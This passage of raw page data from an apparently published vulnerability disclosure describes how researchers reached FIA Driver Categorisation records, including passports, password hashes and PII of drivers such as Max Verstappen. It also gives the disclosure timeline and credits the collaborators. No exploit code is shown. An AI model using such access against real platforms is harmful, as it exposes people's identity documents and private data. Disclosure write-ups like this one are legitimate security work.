872:1000,\"style\":{\"height\":\"auto\"},\"priority\":\"$undefined\",\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/e0d49897-f630-420a-91c8-91cad2bfc902/image2/public\"}],\"\"]}]\n45:[\"$\",\"p\",\"2843b9a56b2b800db3faf7a7226c16df,2843b9a56b2b800db3faf7a7226c16df\",{\"id\":\"block-2843b9a56b2b800db3faf7a7226c16df\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.\",{\"children\":\"To validate our finding, we attempted to load a driver's profile and observed the user's password hash, email address, phone number, passport, resume, and all related PII. Additionally, we could load all internal communications related to driver categorisation including comments about their performance and committee related decisions.\"}]],\"$undefined\"]}]\n46:[\"$\",\"div\",\"2843b9a56b2b806f85f4e5d36110d92c,2843b9a56b2b806f85f4e5d36110d92c\",{\"id\":\"block-2843b9a56b2b806f85f4e5d36110d92c\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"alt\":\"Internal FIA comments about the categorisation of a professional F1 driver.\",\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public\",\"width\":1000,\"height\":1000,\"style\":{\"height\":\"auto\"},\"priority\":\"$undefined\",\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/433c042a-1d93-4e62-92da-48f0e9e1c3dd/image3/public\"}],\"\"]}]\n47:[\"$\",\"p\",\"2843b9a56b2b80c6a2fcd96f2fe12615,2843b9a56b2b80c6a2fcd96f2fe12615\",{\"id\":\"block-2843b9a56b2b80c6a2fcd96f2fe12615\",\"className\":\"notion-text notion-text__content notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. \",{\"children\":\"We stopped testing after seeing that it was possible to access Max Verstappen's passport, resume, license, password hash, and PII. This data could be accessed for all F1 drivers with a categorization, alongside sensitive information of internal FIA operations. \"}],[\"$\",\"strong\",\"0-b\",{\"children\":[\"$\",\"$1\",\"1-We did not access any passports / sensitive information and all data has been deleted.\",{\"children\":\"We did not access any passports / sensitive information and all data has been deleted.\"}]}]],\"$undefined\"]}]\n48:[\"$\",\"div\",\"2933b9a56b2b8099a8fdfc81e630be86,2933b9a56b2b8099a8fdfc81e630be86\",{\"id\":\"block-2933b9a56b2b8099a8fdfc81e630be86\",\"className\":\"notion-image page-width\",\"style\":\"$undefined\",\"children\":[[\"$\",\"$L31\",null,{\"src\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public\",\"alt\":\"image\",\"width\":709.8828125,\"height\":147.16537196754882,\"objectFit\":\"contain\",\"objectPosition\":\"center\",\"priority\":\"$undefined\",\"sizes\":\"(max-width: 546px) 100vw, 100vw\",\"style\":{\"height\":\"auto\"},\"fullSizeSrc\":\"https://images.spr.so/cdn-cgi/imagedelivery/j42No7y-dcokJuNgXeA0ig/34514acd-029f-4fa2-9310-ae0d23c19218/Screenshot_2025-10-21_at_23.28.05/public\"}],\"\"]}]\n49:[\"$\",\"$1\",\"2843b9a56b2b800bafbfde7ba90e9f96,2843b9a56b2b800bafbfde7ba90e9f96\",{\"children\":[[\"$\",\"span\",null,{\"className\":\"notion-heading__anchor\",\"id\":\"2843b9a56b2b800bafbfde7ba90e9f96\"}],[\"$\",\"h3\",null,{\"id\":\"block-2843b9a56b2b800bafbfde7ba90e9f96\",\"className\":\"notion-heading notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Disclosure timeline\",{\"children\":\"Disclosure timeline\"}]],\"$undefined\"]}]]}]\n4a:[\"$\",\"ul\",\"2843b9a56b2b80d0acdbc56f4201c6be,2843b9a56b2b80d0acdbc56f4201c6be\",{\"className\":\"notion-bulleted-list\",\"children\":[[\"$\",\"li\",\"2843b9a56b2b80d0acdbc56f4201c6be\",{\"id\":\"block-2843b9a56b2b80d0acdbc56f4201c6be\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-06/03/2025: Initial disclosure to FIA via email and Linkedin\",{\"children\":\"06/03/2025: Initial disclosure to FIA via email and Linkedin\"}]],\"$undefined\"]}],[\"$\",\"li\",\"2843b9a56b2b808099f5ca0414a077d7\",{\"id\":\"block-2843b9a56b2b808099f5ca0414a077d7\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-06/03/2025: Initial response from FIA, site taken offline\",{\"children\":\"06/03/2025: Initial response from FIA, site taken offline\"}]],\"$undefined\"]}],[\"$\",\"li\",\"2843b9a56b2b8079bafbf0c0ef6a69cf\",{\"id\":\"block-2843b9a56b2b8079bafbf0c0ef6a69cf\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-06/10/2025: Official response from FIA informing us of a comprehensive fix\",{\"children\":\"06/10/2025: Official response from FIA informing us of a comprehensive fix\"}]],\"$undefined\"]}],[\"$\",\"li\",\"2843b9a56b2b80e197a6ecee1b918f07\",{\"id\":\"block-2843b9a56b2b80e197a6ecee1b918f07\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-10/22/2025: Release of blog post, public disclosure\",{\"children\":\"10/22/2025: Release of blog post, public disclosure\"}]],\"$undefined\"]}]]}]\n4b:[\"$\",\"$1\",\"2933b9a56b2b807c80efe36700d9d249,2933b9a56b2b807c80efe36700d9d249\",{\"children\":[[\"$\",\"span\",null,{\"className\":\"notion-heading__anchor\",\"
872id\":\"2933b9a56b2b807c80efe36700d9d249\"}],[\"$\",\"h2\",null,{\"id\":\"block-2933b9a56b2b807c80efe36700d9d249\",\"className\":\"notion-heading notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Collaborators\",{\"children\":\"Collaborators\"}]],\"$undefined\"]}]]}]\n4c:[\"$\",\"ul\",\"2953b9a56b2b80858241cb0c13079977,2953b9a56b2b80858241cb0c13079977\",{\"className\":\"notion-bulleted-list\",\"children\":[[\"$\",\"li\",\"2953b9a56b2b80858241cb0c13079977\",{\"id\":\"block-2953b9a56b2b80858241cb0c13079977\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Ian Carroll (\",{\"children\":\"Ian Carroll (\"}],[\"$\",\"$L4e\",\"https://x.com/iangcarroll\",{\"className\":\"link\",\"uri\":\"https://x.com/iangcarroll\",\"serverHref\":\"$undefined\",\"children\":[\"$\",\"$1\",\"1-https://x.com/iangcarroll\",{\"children\":\"https://x.com/iangcarroll\"}]}],[\"$\",\"$1\",\"2-)\",{\"children\":\")\"}]],\"$undefined\"]}],[\"$\",\"li\",\"2953b9a56b2b80479191c2f5e55585fd\",{\"id\":\"block-2953b9a56b2b80479191c2f5e55585fd\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Sam Curry (\",{\"children\":\"Sam Curry (\"}],[\"$\",\"$L4e\",\"https://x.com/samwcyo\",{\"className\":\"link\",\"uri\":\"https://x.com/samwcyo\",\"serverHref\":\"$undefined\",\"children\":[\"$\",\"$1\",\"1-https://x.com/samwcyo\",{\"children\":\"https://x.com/samwcyo\"}]}],[\"$\",\"$1\",\"2-) \",{\"children\":\") \"}]],\"$undefined\"]}],[\"$\",\"li\",\"2953b9a56b2b80889324c0154dcb5ce7\",{\"id\":\"block-2953b9a56b2b80889324c0154dcb5ce7\",\"className\":\"notion-list-item notion-semantic-string\",\"children\":[\"$undefined\",[[\"$\",\"$1\",\"0-Gal Nagli (\",{\"children\":\"Gal Nagli (\"}],[\"$\",\"$L4e\",\"https://x.com/galnagli\",{\"className\":\"link\",\"uri\":\"https://x.com/galnagli\",\"serverHref\":\"$undefined\",\"children\":[\"$\",\"$1\",\"1-https://x.com/galnagli\",{\"children\":\"https://x.com/galnagli\"}]}],[\"$\",\"$1\",\"2-)\",{\"children\":\")\"}]],\"$undefined\"]}]]}]\n"])</script>
872<script>self.__next_f.push([1,"8:null\nd:[[\"$\",\"title\",\"0\",{\"children\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"1\",{\"name\":\"description\",\"content\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\"}],[\"$\",\"meta\",\"2\",{\"name\":\"generator\",\"content\":\"Super\"}],[\"$\",\"meta\",\"3\",{\"name\":\"robots\",\"content\":\"index, follow\"}],[\"$\",\"meta\",\"4\",{\"property\":\"og:title\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"5\",{\"property\":\"og:description\",\"content\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\"}],[\"$\",\"meta\",\"6\",{\"property\":\"og:url\",\"content\":\"https://ian.sh/fia\"}],[\"$\",\"meta\",\"7\",{\"property\":\"og:site_name\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"8\",{\"property\":\"og:locale\",\"content\":\"en-US\"}],[\"$\",\"meta\",\"9\",{\"property\":\"og:image\",\"content\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\"}],[\"$\",\"meta\",\"10\",{\"property\":\"og:image:alt\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"11\",{\"property\":\"og:type\",\"content\":\"website\"}],[\"$\",\"meta\",\"12\",{\"name\":\"twitter:card\",\"content\":\"summary_large_image\"}],[\"$\",\"meta\",\"13\",{\"name\":\"twitter:title\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}],[\"$\",\"meta\",\"14\",{\"name\":\"twitter:description\",\"content\":\"We found vulnerabilities in the FIA's Driver Categorisation platform, allowing us to access PII and password hashes of any racing driver with a categorisation rating.\"}],[\"$\",\"meta\",\"15\",{\"name\":\"twitter:image\",\"content\":\"https://images.unsplash.com/photo-1614949194403-9602bdc14a3a?ixlib=rb-4.1.0\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\"}],[\"$\",\"meta\",\"16\",{\"name\":\"twitter:image:alt\",\"content\":\"Hacking Formula 1: Accessing Max Verstappen's passport and PII through FIA bugs\"}]]\n"])</script>
872</body></html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.